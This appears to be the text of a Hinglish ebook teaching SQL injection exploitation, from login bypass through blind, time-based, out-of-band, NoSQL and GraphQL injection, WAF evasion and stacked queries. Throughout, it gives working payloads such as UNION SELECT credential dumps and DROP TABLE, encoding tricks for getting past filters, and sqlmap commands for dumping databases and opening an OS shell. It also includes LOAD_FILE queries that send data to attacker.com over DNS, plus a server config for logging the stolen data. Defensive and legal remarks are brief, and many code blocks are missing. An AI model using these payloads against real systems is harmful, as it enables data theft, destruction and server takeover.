SQL Injection
SQL Injection
"Unveiling the Secrets of SQL Injection – Learn, Exploit, and Secure Your Applications"
SQL Injection (SQLi) remains one of the most dangerous and widely exploited vulnerabilities
in web applications. Whether you're an ethical hacker, penetration tester, or developer,
mastering SQL Injection is crucial to understanding how attackers exploit databases and how
to protect against such threats.
This book takes you on a step-by-step journey from basic SQLi techniques to advanced
exploitation methods, including blind SQLi, WAF bypasses, out-of-band attacks, and
database-specific injection techniques.
Are you ready to dive into the world of SQL Injection hacking and defense strategies?
1. Introduction to SQL Injection
SQL Injection (SQLi) ek code injection technique hai jo web applications ke database layer ko
exploit karne ke liye use hoti hai. Agar application user input ko properly validate aur sanitize
nahi karti, toh attacker malicious SQL queries inject karke unauthorized access ya data
manipulation kar sakta hai.
Jab ek web application user se input leti hai (jaise login form, search bar, URL parameters)
aur bina validate kiye directly SQL query me insert kar deti hai, toh attacker malicious input
dekar database ke logic ko manipulate kar sakta hai.
• Agar username = 'admin' aur password = 'password123' hai, toh access mil jayega.
• Agar user "admin' --" input kare, toh SQL query ka structure tod sakta hai.
• '-- SQL me comment syntax hota hai jo baaki query ignore kar deta hai.
• Iska result: Login bypass ho gaya, attacker bina password enter kiye access le sakta hai!
🔹 Types of SQL Injection Attacks
🔹 Real-Life Example
🔴 Sony PlayStation Hack (2011)
• Attackers ne SQL Injection ka use karke 77 million PlayStation users ke data ko leak kar
diya tha.
• Attack ke baad Sony ka entire PlayStation Network (PSN) down ho gaya tha.
• Ethical hackers ne Tesla ke customer support portal me SQL Injection vulnerability find
ki.
• Tesla ne is vulnerability ko fix kiya aur responsible disclosure ke liye reward bhi diya.
• Unauthorized Data Access – Sensitive information like passwords, credit card details
leak ho sakte hain.
• Data Modification & Deletion – Attackers UPDATE, DELETE commands ka use karke
database modify kar sakte hain.
• Admin Account Takeover – Attacker admin account ka access le sakta hai.
• Complete Database Control – Agar server weak configured ho, toh attacker shell access
le sakta hai.
2. Understanding SQL Queries (Practical &
Detailed Explanation)
SQL Injection ko samajhne ke liye SQL Queries ka structure aur kaise kaam karti hain yeh
samajhna zaroori hai.
Web applications SQL queries ka use karti hain user input ke basis par database interact
karne ke liye.
✔ Example
SELECT username, email FROM users WHERE id = 1;
"users" table se "username" aur "email" retrieve karo jiska "id" 1 hai.
✅ Agar attacker malicious input de toh entire database expose ho sakta hai!
✅ Yeh query secure hai, kyunki ? placeholders SQL Injection ko prevent karte hain.
SQL Queries aur SQL Injection ka Relation
Agar developer user input ko bina sanitize kiye SQL query me dalta hai, toh attacker SQL
injection perform kar sakta hai.
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password =
'anything';
'1'='1' hamesha TRUE hoga, is wajah se attacker bina password enter kiye login ho sakta
hai!
https://example.com/search.php?user_id=1
https://example.com/search.php?user_id=1 OR 1=1
1=1 hamesha TRUE hota hai, toh database sare users ka data dikha dega!
$username = $_POST['username'];
$password = $_POST['password'];
• User input bina sanitize kiye directly SQL query me use ho raha hai.
• Attacker isko bypass karke bina password login ho sakta hai.
🔹 Step-by-Step SQL Injection Execution (Manually Exploiting the Login
Page)
🛑 Step 1: Normal Login Attempt (Valid Credentials)
User Input:
Username: admin
Password: admin123
Generated SQL Query:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';
Yahan -- SQL me comment syntax hai jo query ka baaki hissa ignore kar deta hai.
✅ Attacker bina password enter kiye login ho gaya!
Agar search bar ya URL parameter vulnerable ho, toh UNION SELECT ka use karke database
ka sensitive data leak kiya ja sakta hai.
Agar UNION SELECT attack perform karna ho, toh hume column count pata hona chahiye.
Jis number pe error aaya (4), usse ek kam columns (3) hone chahiye.
Agar attacker database ke system details nikalna chahta hai, toh yeh query kaam karegi:
Agar manually attack karna mushkil ho, toh SQLmap ka use karke SQLi automate kar sakte
hain.
🔹 Conclusion
• Basic SQL Injection ka use karke authentication bypass kar sakte hain.
• UNION SELECT aur ORDER BY methods se database ki details nikal sakte hain.
• SQLmap ka use karke automated SQL Injection exploit kar sakte hain.
Jab application error messages nahi dikhati, tab Boolean-Based SQL Injection ka use karke
data extract kiya jata hai.
Attacker character by character brute-force karke database ka data extract kar sakta hai.
✅ Agar database ka first character 't' hai, toh result show hoga, warna nahi.
Jab error messages nahi milti aur HTML response same rehta hai, toh time delay ke
basis par data extract kiya jata hai.
✅ Agar page 5 seconds delay hota hai, toh SQL Injection possible hai.
✅ Agar database ka first letter 't' hai, toh page 5 seconds delay karega.
🔹 3. Advanced UNION-Based SQL Injection
✅ Columns = 3
Jab SQL Injection ka payload ek page par store hota hai, aur dusre page par execute
hota hai.
Agar ek website password reset request ko database me store karti hai, toh attacker SQL
Injection payload store karke baad me execute karwa sakta hai.
🔴 Malicious Input:
newpassword'); DROP TABLE users; --
Stored Query
UPDATE users SET password = 'newpassword'); DROP TABLE users; --' WHERE email
= '[email protected]';
✅ Jab admin isko execute karega, toh pura "users" table delete ho jayega!
Jab attacker direct response nahi le sakta, toh woh DNS ya HTTP request ke through
data exfiltrate karta hai.
🔴 Malicious Query (Extracting Data via DNS)
SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\', (SELECT database())));
🔹 Conclusion
• Boolean-Based aur Time-Based SQL Injection se error messages ke bina data extract
kar sakte hain.
• Second-Order SQL Injection ek dangerous attack hai jo delayed execution karta hai.
• OOB SQL Injection me attacker data ko external server par send kar sakta hai.
• SQLmap ka use karke Advanced SQLi exploit automate kar sakte hain.
5. Blind SQL Injection (Advanced Practical Guide with Live
Examples)
Blind SQL Injection tab hoti hai jab website error messages nahi dikhati, lekin SQL query phir
bhi execute hoti hai. Isme attacker boolean conditions ya time delay techniques ka use karke
data extract karta hai.
Normal Query:
✅ Agar user exist karta hai, toh valid profile show hoti hai.
✅ Agar response change hota hai, toh SQL Injection possible hai.
🔹 Extracting Database Name Character by Character
SUBSTRING() function ka use karke database ka naam extract kar sakte hain.
✅ Agar database ka first letter 't' hai, toh page ka response same hoga.
❌ Agar nahi hai, toh response change ho jayega.
Vulnerable Query:
✅ Agar page 5 seconds delay hota hai, toh SQL Injection possible hai.
🔹 Extracting Data Using Time Delay
✅ Agar database ka first letter 't' hai, toh page 5 seconds delay karega.
❌ Agar nahi hai, toh normal load hoga.
✅ Yeh command Boolean-Based SQLi detect karegi aur database naam extract karegi.
✅ Yeh command time delay ke basis par SQL Injection exploit karegi.
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
✅ Yeh query secure hai, kyunki user input direct SQL query me nahi jata.
❌ Even if attacker inputs admin' --, SQL Injection fail ho jayega.
Stored Procedures me queries pre-defined hoti hain, jo SQL Injection attacks prevent
karti hain.
✅ admin123 (Valid)
❌ admin' OR 1=1 -- (Blocked)
WAFs jaise Cloudflare, ModSecurity SQL Injection attacks detect karke block kar
sakte hain.
Aaj hum top real-world SQL Injection attacks ke case studies dekhenge aur samjhenge ki yeh
attacks kaise execute kiye gaye the.
🔹 1. 2011 – Sony PlayStation Network Data Breach
🛑 Attack Scenario
Sony ke servers ek vulnerable API endpoint expose kar rahe the. Attackers ne SQL Injection
exploit karke PlayStation Network database ka access le liya.
🛑 Attack Scenario
Yahoo ke vulnerable login page par SQL Injection attack kiya gaya. Attackers ne UNION-
based SQLi ka use karke database extract kar liya.
🛑 Attack Scenario
🛑 Attack Scenario
Attackers ne a third-party plugin me SQL Injection exploit kiya aur British Airways ke
payment system ka access le liya.
🛑 Attack Scenario
Facebook ke GraphQL API me ek SQL Injection bug detect hui. Attackers ne GraphQL
queries modify karke database ka access le liya.
🔹 Conclusion
1. SQL Injection ek real-world threat hai jo har industry ko affect kar chuka hai.
2. Bade companies jaise Sony, Yahoo, British Airways aur Facebook bhi SQLi ke shikar ho
chuki hain.
3. Best security practices (Prepared Statements, Input Validation, WAF) follow karna
zaroori hai.
Aaj hum top SQL Injection automation tools explore karenge, jisme SQLmap, Burp Suite,
NoSQLMap, Havij aur jSQL Injection ka detailed explanation milega.
🔹 1. SQLmap – Best Automated SQL Injection Tool
✅ SQLmap ek open-source tool hai jo automatic SQL Injection attack execute karta hai.
✅ Yeh error-based, UNION-based, blind SQLi, aur time-based SQLi exploit kar sakta
hai.
Kali Linux me SQLmap pre-installed aata hai. Agar Windows ya alag Linux distro me install
karna ho toh:
✅ Agar response me SQL errors aati hain, toh SQLi vulnerability confirm ho jati hai.
📌 Install NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python nosqlmap.py
📌 Havij ke Features
1. Database Detection
2. Tables & Columns Extraction
3. Data Dumping
4. Admin Panel Finder
❌ Downside: Yeh tool outdated hai aur naye security mechanisms ko bypass nahi kar pata.
🔹 5. jSQL Injection – Java-Based SQLi Tool
✅ jSQL Injection ek cross-platform Java-based SQL Injection tool hai.
📌 jSQL Features
1. Database Fingerprinting
2. Data Extraction
3. Command Execution on Database Server
✅ GUI interface aayega jisme URL enter karke SQL Injection detect kar sakte hain.
🔹 Comparison Table – Best SQL Injection Tools
🔹 Conclusion
1. SQLmap sabse powerful SQL Injection automation tool hai.
2. Burp Suite manual testing ke liye best hai.
3. NoSQLMap NoSQL databases exploit karne ke liye use hota hai.
4. Havij aur jSQL GUI tools hain jo beginners ke liye helpful hain.
Aaj hum ethical hacking ke legal rules, responsible disclosure, aur bug bounty hunting
discuss karenge.
🔹 1. Ethical Hacking vs. Black Hat Hacking
✅ Ethical hackers organizations ki permission lekar pentesting karte hain.
❌ Black hat hackers bina permission ke illegal hacking karte hain.
Agar kisi bhi website/server par permission ke bina SQL Injection test karte ho, toh yeh
cybercrime hota hai.
• Section 43A: Bina permission kisi bhi system ko access karna illegal hai.
• Section 66: Hacking aur data theft par 3 saal jail aur fine ho sakta hai.
• Section 72: Unauthorized data access par imprisonment & fine.
✅ Penetration testing aur bug bounty ke liye permission lena zaroori hai.
Agar kisi website/server me SQL Injection vulnerability mile, toh usse responsibly report karna
chahiye.
Agar kisi company ka bug bounty program allow karta hai, toh SQL Injection test kar sakte
ho:
✅ Agar vulnerability milti hai, toh responsibly report karo aur bounty earn karo.
✅ Agar ethical hacking properly sikho, toh bug bounty aur cybersecurity me career bana
sakte ho.
🔹 Conclusion
1. SQL Injection ka unauthorized use illegal hai.
2. Ethical hacking me penetration testing aur bug bounty legal methods hain.
3. Bug bounty se SQLi responsibly exploit karke paisa kama sakte ho.
4. Cyber laws aur responsible disclosure guidelines follow karna zaroori hai.
1. SQL Injection ek powerful hacking technique hai jo ethical hackers aur pentesters ke
liye zaroori skill hai.
2. Illegal SQLi attacks cybercrime hai, lekin bug bounty aur pentesting me isse legally use
kar sakte hain.
3. Agar regularly practice karoge toh bug bounty aur cybersecurity me career bana sakte
ho.
Advanced & Specialized SQL Injection Topics
Ab hum Advanced & Specialized SQL Injection Techniques explore karenge jo bug bounty,
penetration testing aur real-world attacks me kaam aati hain.
Main step-by-step execution, real-life examples aur manual & automated exploitation
methods ke saath samjhaunga.
Agar SQL query me error handling weak ho, toh malicious query inject karke database
errors extract kiye ja sakte hain.
Errors directly page pe show hote hain, jo attacker ko database ka structure reveal kar sakta
hai.
✅ Error-Based SQLi tab possible hoti hai jab application SQL errors show karti hai.
✅ Error messages se table names, column names aur database version nikal sakta hai.
🔹 2. Real-Life Example
📌 Vulnerable URL:
https://target.com/product.php?id=5
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version
Agar single quote (') inject karne par error aaye, toh SQL Injection possible hai.
https://target.com/product.php?id=5'
Error message:
Agar page pe database version show ho jaye, toh SQLi successful hai.
Example Output:
5.7.36-MySQL
target_db
Output:
users
admin_panel
orders
Output:
id
username
password
email
Output:
admin | 5f4dcc3b5aa765d61d8327deb882cf99
Agar manually exploit karna possible ho, toh SQLmap se automation bhi kar sakte hain.
📌 Extract Data
sqlmap -u "https://target.com/product.php?id=5" --dump -D target_db -T users
✅ Poora database dump ho jayega!
error_reporting(0);
ini_set('display_errors', 0);
🔹 Conclusion
✅ Error-Based SQL Injection tab possible hoti hai jab application SQL errors show karti
hai.
✅ Error messages ka use karke database version, table names aur sensitive data nikal
sakta hai.
✅ SQLmap ka use karke automated exploitation ki ja sakti hai.
✅ Prevention ke liye prepared statements, error handling aur WAF use karna zaroori
hai.
✅ Attacker SQL payload store karta hai database me (e.g., signup form, profile update,
comments section).
✅ Application normal lagti hai, koi error nahi dikhta!
✅ Jab application later koi dusri query run karti hai (e.g., login, profile update), tab
injection trigger hoti hai.
Example: Agar ek signup form me malicious SQL code inject kiya jaye, toh ye tab execute
ho sakti hai jab admin user list check kare ya login kare!
🔹 2. Real-Life Example
📌 Scenario: Vulnerable Signup Form
username = testuser'--
password = 123456
Agar admin kisi report me user list retrieve kare, toh query kuch aisi ho sakti hai:
testuser' , role='admin
Agar koi second-order SQLi vulnerability suspect ho, toh sqlmap me delayed execution
payload use kiya jata hai.
📌 Detect SQL Injection:
sqlmap -u "https://target.com/signup.php" --
data="username=testuser&password=123456" --batch --level=5 --risk=3
🔹 Conclusion
✅ Second-Order SQLi dangerous hai kyunki ye injection turant execute nahi hoti, balki
baad me execute hoti hai.
✅ Normal manual testing se detect karna mushkil hota hai.
✅ Proper input sanitization aur prepared statements use karke isse bach sakte hain.
Instead of getting data in the same request, attacker database ko force karta hai external
server par data send karne ke liye.
✅ Attacker SQL query inject karta hai jo external server se connect kare.
✅ Database ka response direct nahi aata, balki attacker ke server pe aata hai.
✅ Firewall bypass hone ka chance hota hai, kyunki request database se nikalti hai.
Agar Error-Based aur Blind SQLi fail ho jaye, toh attacker out-of-band exfiltration use
karega.
Attacker apne system par Burp Collaborator ya Interactsh ka DNS/HTTP listener setup
karega.
Agar MySQL database use ho raha hai, toh attacker ye payload inject karega:
Agar OOB SQLi exploit karna ho, toh sqlmap ka --dns-domain option use karein.
🔹 Conclusion
✅ OOB SQLi tab use hoti hai jab normal SQLi techniques fail ho jayein.
✅ Data ko external DNS ya HTTP requests ke through exfiltrate kiya jata hai.
✅ Proper network restrictions aur prepared statements use karke isse prevent kiya ja
sakta hai.
✅ Pattern Matching: UNION SELECT, ' OR 1=1 -- jaise payloads ko detect karta hai.
✅ Keyword Filtering: SELECT, DROP, INSERT jaise SQL keywords ko block karta hai.
✅ Rate Limiting: Same IP se multiple SQLi attempts hone par block kar deta hai.
✅ Input Sanitization: Special characters (', ", --, #, ;) ko remove kar deta hai.
🔹 2. WAF Bypass Karne Ke Advanced Techniques
📌 1. Case Manipulation (Upper/Lowercase Bypass)
Agar WAF union select detect kar raha hai, toh hum UNION SeLeCt likh sakte hain.
Agar WAF SELECT detect kar raha hai, toh usko split karne ke liye comments use kar sakte
hain.
UNION/**/SELECT/**/1,2,3 --
✅ SQL query valid rahegi, lekin WAF ka pattern matching fail ho jayega.
Agar WAF normal SQLi payloads detect kar raha hai, toh encoding ka use kiya jata hai.
Hex Encoding:
✅ WAF ko lagta hai ki ye simple string hai, lekin SQL isse decode kar lega.
Base64 Encoding:
Agar admin' OR '1'='1 block ho raha hai, toh usko Base64 encode karke pass kar sakte hain.
URL Encoding:
%55nion%20%53elect 1,2,3 --
✅ WAF ko ye URL encoding lagta hai, lekin backend decode kar lega!
Agar OR 1=1 block ho raha hai, toh alternative logical operations try kar sakte hain.
OR true --
OR 'a'='a' --
OR 'x'='x'
✅ WAF ke filters ko bypass karne ke liye logical tricks ka use hota hai.
Agar WAF SELECT block kar raha hai, toh usko alternate functions ke saath replace kar sakte
hain.
Agar Blind SQL Injection detect ho rahi hai, toh WAF response manipulation techniques
block karega.
Is case me time delay ka use karke SQLi detect kar sakte hain.
MySQL (SLEEP):
Agar WAF GET/POST requests filter kar raha hai, toh duplicate parameters inject karke
bypass kar sakte hain.
Normal Request:
https://target.com/login.php?user=admin' OR '1'='1
https://target.com/login.php?user=admin&user=' OR '1'='1
✅ WAF sirf pehli user ko check karega, dusra parameter SQLi inject karega.
Agar WAF single-line queries detect kar raha hai, toh multi-line comments ka use karke SQLi
hide kar sakte hain.
Normal Query:
Agar application JSON/XML APIs use kar rahi hai, toh traditional SQLi block ho sakti hai.
Is case me JSON injection ya XML injection try kar sakte hain.
{
"user": "' OR '1'='1",
"pass": "password"
}
<user>admin' OR '1'='1</user>
✅ Agar backend insecure SQL queries use kar raha hai, toh SQLi ho sakti hai.
SQLmap me --tamper option ka use karke WAF bypass kar sakte hain.
✅ Ye SQL keywords ko obfuscate kar deta hai, jisse WAF detect nahi kar paata.
Agar WAF strict ho, toh multiple tamper scripts use kar sakte hain:
sqlmap -u "https://target.com/login.php?user=admin" --
tamper=space2comment,charencode,randomcase --batch
🔹 Conclusion
✅ WAF ko bypass karne ke multiple advanced techniques hain, jaise encoding, logical
manipulation, aur time delays.
✅ SQLmap ka --tamper option use karke automated WAF bypass possible hai.
✅ Proper security configurations aur behavior-based anomaly detection se WAF ko
strong banaya ja sakta hai.
NoSQL databases (MongoDB, Firebase, CouchDB, etc.) structured query language (SQL) ka
use nahi karte.
Lekin insecure query handling ki wajah se yeh bhi injection attacks ka shikar ho sakti hain.
✅ NoSQL Injection traditional SQLi se alag hoti hai, kyunki isme SQL keywords nahi
hote.
✅ Yeh mostly JSON-based queries pe hoti hai, jo JavaScript/Node.js applications me use
hoti hain.
🔹 1. NoSQL Databases Vulnerability Understanding
NoSQL databases structured nahi hote, aur JSON-like objects store karte hain.
Example: MongoDB ek document-based NoSQL database hai.
✅ Agar user controlled user_input aur pass_input escape nahi kiya gaya, toh NoSQL
injection possible hai!
Agar application me insecure login validation ho, toh hum malicious payload inject kar sakte
hain.
✅ $ne (Not Equal) operator ka use karke authentication bypass ho sakta hai.
Agar application user authentication ke liye findOne() function use kar raha hai:
Hum malicious JSON inject karke authentication bypass kar sakte hain:
✅ Yeh check karega ki password field exist nahi karti, jo bypass attack ke liye useful hai.
📌 2. NoSQL Injection for Dumping User Data
Agar hum sensitive data extract karna chahte hain, toh hum $regex operator ka use kar sakte
hain.
✅ Yeh query sabhi usernames return karegi, jo enumeration attack me kaam aayegi.
Agar application response time se SQL Injection detect hoti hai, toh NoSQL me bhi similar trick
kaam karti hai.
✅ Agar response 5 sec delay se aaye, toh injection vulnerability confirm hai!
Agar JWT me insecure decoding ho rahi hai, toh NoSQL injection JWT payloads me bhi
possible hai.
Example:
{
"username": { "$gt": "" }
}
✅ Iska use authentication bypass aur token manipulation ke liye ho sakta hai!
📌 5. Automated NoSQL Injection Testing (NoSQLMap)
NoSQLMap ek automated tool hai jo MongoDB, CouchDB jaise databases me injection test
karta hai.
✅ Yeh NoSQL Injection vulnerabilities detect karta hai aur automated exploitation karta
hai.
✅ 2. Input Validation:
{
"username": { "type": "string", "minLength": 3, "maxLength": 20 },
"password": { "type": "string", "minLength": 8 }
}
SQLmap ek open-source penetration testing tool hai jo SQL Injection vulnerabilities ko detect
aur exploit karta hai.
Ye manual SQLi se zyada fast aur automated hota hai aur multiple database engines
(MySQL, MSSQL, PostgreSQL, Oracle, etc.) ko support karta hai.
🔹 1. SQLmap Installation
Kali Linux:
✅ Yeh check karega ki SQL Injection possible hai ya nahi, aur database ka naam nikalne
ki koshish karega.
Agar SQL Injection vulnerable ho, toh tables aur records extract karne ke liye:
Agar users wali table pata chal jaye, toh credentials extract karne ke liye:
✅ Agar password hashes mile toh unko crack bhi kiya ja sakta hai!
Agar SQLmap se WAF detect ho jaye, toh bypass ke liye tampering scripts ka use kar sakte
hain:
✅ Yeh spaces ko /**/ se replace karega jo WAF bypass ke liye useful hai!
sqlmap -u "http://target.com/index.php?id=1" --
tamper=between,space2comment,randomcase
Agar error ya output nahi mil raha lekin SQLi vulnerable hai, toh time-based attack ka use
karein:
Agar stacked queries allowed hain toh multiple SQL commands ek saath execute kiye ja sakte
hain:
Agar DBMS command execution allow karta hai, toh shell access le sakte hain:
Agar direct shell na mile, toh reverse shell setup kar sakte hain:
Agar multiple URLs test karne hain, toh ek file me URLs save kar ke SQLmap use karein:
• ModSecurity
• Cloudflare WAF
• Agar ek user baar baar SQL Injection try kare, toh block kar diya jaye.
🔹 Conclusion
✅ SQLmap ek powerful tool hai jo automated SQL Injection ke liye use hota hai.
✅ Iska use Bug Bounty, Pentesting aur Ethical Hacking me kiya jata hai.
✅ Advanced features jaise WAF Bypass, Shell Access, aur Automated Attacks available
hain.
✅ Secure coding aur WAF ke bina SQLmap attacks kaafi dangerous ho sakte hain!
✅ Stored Procedures & Functions databases ke andar predefined SQL queries hote hain, jo
data manipulation aur business logic execute karte hain.
✅ Agar properly sanitized nahi kiya gaya, toh SQL Injection attacks stored procedures aur
functions me bhi ho sakte hain.
✅ SQLi via stored procedures ka use privilege escalation, OS command execution, aur
data exfiltration ke liye ho sakta hai.
Agar stored procedure me dynamic query execution ho raha ho, toh attacker query manipulate
kar sakta hai:
MSSQL me agar xp_cmdshell enabled ho, toh OS commands execute kiya ja sakta hai.
✅ Agar SQLi possible ho, toh attacker whoami, net user, ya nc.exe ka use karke reverse
shell le sakta hai.
Oracle me DBMS_SQL.EXECUTE() stored procedure agar properly sanitized nahi kiya gaya, toh
privilege escalation possible hai.
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
END;
✅ Agar attacker isko execute kar sake, toh DBA (Database Administrator) rights mil
sakte hain!
Agar application OR 1=1 ya ' -- jaise payloads filter kar raha ho, toh bypass ke liye encoding
& function abuse ka use kar sakte hain.
' OR 'A'='A
0x27 OR 0x41=0x41
admin' /*
Agar WAF ya blacklist filtering ho rahi hai, toh char() functions ka use karke SQLi inject
kiya ja sakta hai.
✅ Bypassing using char() function:
Agar application stored procedure vulnerable ho, toh --procedure flag ka use kar sakte hain:
✅ Yeh stored procedures ko enumerate karega aur vulnerable procedures find karega.
Agar command execution stored procedure vulnerable ho, toh shell execute karne ke liye:
sqlmap -u "http://target.com/index.php?id=1" --os-shell
✅ Agar SQLmap os-shell access de raha hai, toh system ke full control ka chance hai!
🔹 Conclusion
✅ Stored procedures aur functions SQL Injection ke against safe nahi hote agar
validation weak ho.
✅ Attacker privilege escalation, OS command execution, aur data exfiltration kar sakta
hai.
✅ Proper parameterized queries aur WAF se SQLi via stored procedures prevent kiya ja
sakta hai.
8. GraphQL SQL Injection (SQLi) Exploitation
🔹 Introduction to GraphQL SQL Injection
GraphQL ek API query language hai jo REST API ka alternative hai. Lekin, agar proper
input validation nahi hai, toh SQL Injection possible ho sakti hai, specially nested queries
aur variables ke through.
Target Environments:
✔ GraphQL APIs using MySQL, PostgreSQL, MSSQL, Oracle
✔ Web Apps, Mobile Apps, Serverless APIs
✅ Agar id parameter properly sanitized nahi kiya gaya, toh SQL Injection ho sakti hai!
🔹 2. Exploiting SQL Injection in GraphQL
📌 Example 1: Injecting SQLi via GraphQL Query Variables
Agar GraphQL request user-controlled input accept kar rahi ho, toh attacker injection perform
kar sakta hai.
Vulnerable Query:
query {
user(id: "1") {
name
email
}
}
query {
user(id: "1' OR '1'='1") {
name
email
}
}
query {
user(id: "1' UNION SELECT username, password FROM admin--") {
name
email
}
}
SELECT name, email FROM users WHERE id = '1' UNION SELECT username, password
FROM admin--';
✅ Attacker admin credentials extract kar sakta hai!
Agar GraphQL me SQLi possible ho, toh boolean-based blind SQL Injection se data extract
kar sakte hain.
✅ Agar response different ho, toh password ka first letter 'a' hai!
✅ Is tarah binary search technique se complete password extract kiya ja sakta hai.
Agar response different nahi ho raha, toh time-based SQL Injection use kar sakte hain.
✅ Agar server 5 seconds delay kare, toh first character 'a' (ASCII = 97) hai!
Agar GraphQL API vulnerable hai, toh SQLmap se automated SQL Injection possible hai.
✅ Agar SQLi possible hai, toh SQLmap automatically databases enumerate karega!
Agar WAF ya input filtering enabled ho, toh GraphQL specific evasion techniques ka use kar
sakte hain.
query getUserInfo {
user(id: "1' OR '1'='1") {
name
email
}
}
query {
userInfo: user(id: "1' OR '1'='1") {
name
email
}
}
query {
...userDetails
}
• SQL Injection detection ke liye SIEM aur alerting system setup karo.
🔹 Conclusion
✅ GraphQL me SQL Injection possible hai agar input validation weak ho.
✅ Attacker UNION, boolean-based, aur time-based attacks use kar sakta hai.
✅ Proper parameterized queries aur WAF rules se GraphQL SQLi prevent kiya ja sakta
hai.
9. DNS Exfiltration using SQL Injection
🔹 Introduction to DNS Exfiltration via SQLi
DNS Exfiltration ek data exfiltration technique hai jo SQL Injection ke through sensitive
data leak karne ke liye use hoti hai. Is method me attacker database se data extract karke
usse DNS queries ke through apne server tak pahuchata hai, jo firewall aur WAF ko bypass
karne me madad karta hai.
1. Attacker ek malicious SQL query inject karta hai jo database ka data DNS lookup ke form
me convert karti hai.
2. SQL query DNS request generate karti hai (e.g., password.attacker.com).
3. Server DNS request resolve karta hai aur attacker ka malicious DNS server is request ko
capture kar leta hai.
4. Attacker ko sensitive data DNS logs me mil jata hai.
✅ Real-World Usage:
Agar ek database vulnerable hai aur external DNS resolution allowed hai, toh hum data DNS
request ke through exfiltrate kar sakte hain.
✅ Kya Hoga?
Agar multiple records extract karne hain, toh hum GROUP_CONCAT() aur MID() functions ka
use kar sakte hain.
users_orders_admin.attacker.com
admin:pass123.userdata.attacker.com
Agar SQLmap se automated DNS exfiltration karni ho, toh ye command use kar sakte hain:
✅ SQLmap automatically DNS queries generate karega aur data exfiltrate karega!
🔹 4. Setting Up a Malicious DNS Server (Attacker-Side)
Agar attacker apne server par DNS logs collect karna chahta hai, toh use DNS server setup
karna hoga.
logging {
channel dns_log {
file "/var/log/dns_exfil.log";
severity info;
};
category queries { dns_log; };
};
Agar network firewall ya IPS laga hai, toh attacker DNS tunneling use kar sakta hai.
Example:
SELECT LOAD_FILE(CONCAT('\\\\',HEX(password),'.attacker.com\\x00'));
• MySQL ke liye:
• PostgreSQL me:
• Agar suspicious DNS requests detect hoti hain (password.attacker.com), toh alert
generate karo.
• ModSecurity aur Cloudflare WAF enable karo jo SQLi aur DNS exfiltration detect kare.
🔹 Conclusion
✅ SQL Injection ke through DNS exfiltration attacker ko firewall aur WAF bypass karne
me help karti hai.
✅ Attacker LOAD_FILE(), CONCAT() aur HEX() functions ka use karke data chhupakar
DNS request me send kar sakta hai.
✅ Proper security measures jaise ki DNS logging aur external DNS resolution block
karke isko prevent kiya ja sakta hai.
10. Real-Life SQL Injection Challenges (CTF & Bug Bounty)
– Continued
🔹 1. CTF SQL Injection Challenges
CTF (Capture The Flag) competitions me SQLi challenges 3 types ke hote hain:
Example Scenario:
Ek CTF challenge me login form diya gaya hai jo SQL Injection ke liye vulnerable hai:
Agar username field me admin' -- inject karein toh query modify ho jayegi:
SELECT * FROM users WHERE username = 'admin' --' AND password = '';
✅ Solution (Payload):
Username: admin' --
Password: [Blank]
Agar error messages disable ho, toh Boolean-based SQLi use karni padegi.
http://ctfsite.com/profile.php?id=1
Agar Boolean-based SQLi block ho toh SLEEP() function ka use karke time delay create kar
sakte hain.
Bug Bounty me GraphQL APIs bhi SQLi ke liye vulnerable hoti hain.
Agar GraphQL query me SQL Injection ho, toh hum ' UNION SELECT table_name FROM
information_schema.tables -- ka use kar sakte hain.
✅ Payload:
{
"query": "query { user(id: \"1' UNION SELECT table_name FROM
information_schema.tables --\") { id, name }}"
}
Bug Bounty programs me Android apps ka backend bhi SQLi vulnerable hota hai.
Example: Agar ek mobile app ka login request SQLi vulnerable ho:
{
"username": "admin' --",
"password": "password123"
}
Bug bounty me SQLmap aur Burp Suite ka use karke SQLi automate kar sakte hain.
Bug Bounty programs me SQLi vulnerabilities report karke paise kama sakte hain.
✅ Top platforms:
• HackerOne
• Bugcrowd
• Synack
• Open Bug Bounty
🔹 Conclusion
✅ CTF aur Bug Bounty me SQL Injection hunting karna ek real-world skill hai jo ethical
hackers ke liye important hai.
✅ Automation tools (SQLmap, Burp Suite) use karke SQLi hunting ko fast aur efficient
banaya ja sakta hai.
✅ Proper bug reports likhne se $1000+ ka bounty earn kar sakte hain.
Stacked queries ka matlab hai multiple SQL statements ek sath execute karna. Ye advanced
SQL Injection technique hai jo sirf kuch specific databases me kaam karti hai.
Agar application multiple SQL statements ko execute karne allow karti hai, toh attacker ek
query ke sath doosri malicious query bhi inject kar sakta hai.
✅ Example:
Agar backend stacked queries allow karta hai, toh ye users table delete kar dega!
Agar SQL Injection vulnerable hai, toh attacker apne privileges badhakar root ya admin
rights le sakta hai.
Agar application stacked queries allow karti hai, toh database ka pura data extract kiya ja
sakta hai.
1; SELECT version() --
Agar database se system commands execute ho sakti hain, toh attacker remote shell access bhi
le sakta hai.
✅ Example: Remote Code Execution (MSSQL)
Result:
Website ke /shell.php URL me cmd parameter ke through OS commands execute ho sakti
hain!
SQLmap ka use karke automatic stacked queries execute kar sakte hain.
✅ Command:
Result: Agar stacked queries supported hain toh database se data dump ho jayega!
🔹 Conclusion
✅ Stacked queries ka use karke attacker ek sath multiple SQL commands execute kar
sakta hai.
✅ Ye technique database privilege escalation, data exfiltration aur RCE ke liye use hoti
hai.
✅ SQLmap ka use karke stacked queries ka exploitation automate kar sakte hain.
✅ Security best practices ko follow karke stacked queries ka misuse roka ja sakta hai.
Time-Based Blind SQL Injection tab kaam aati hai jab error messages hide hon aur response
me koi difference na dikhe. Is case me, time delay create karke SQLi vulnerability detect
karni hoti hai.
Lekin, kuch Web Application Firewalls (WAFs) aur Security Filters SLEEP() function ko
block kar dete hain. Toh bina SLEEP() function ka use kiye time delay kaise create karein?
Agar SLEEP() function allow ho, toh attacker 5-second delay create kar sakta hai:
✅ Example (MySQL):
✅ Example (PostgreSQL):
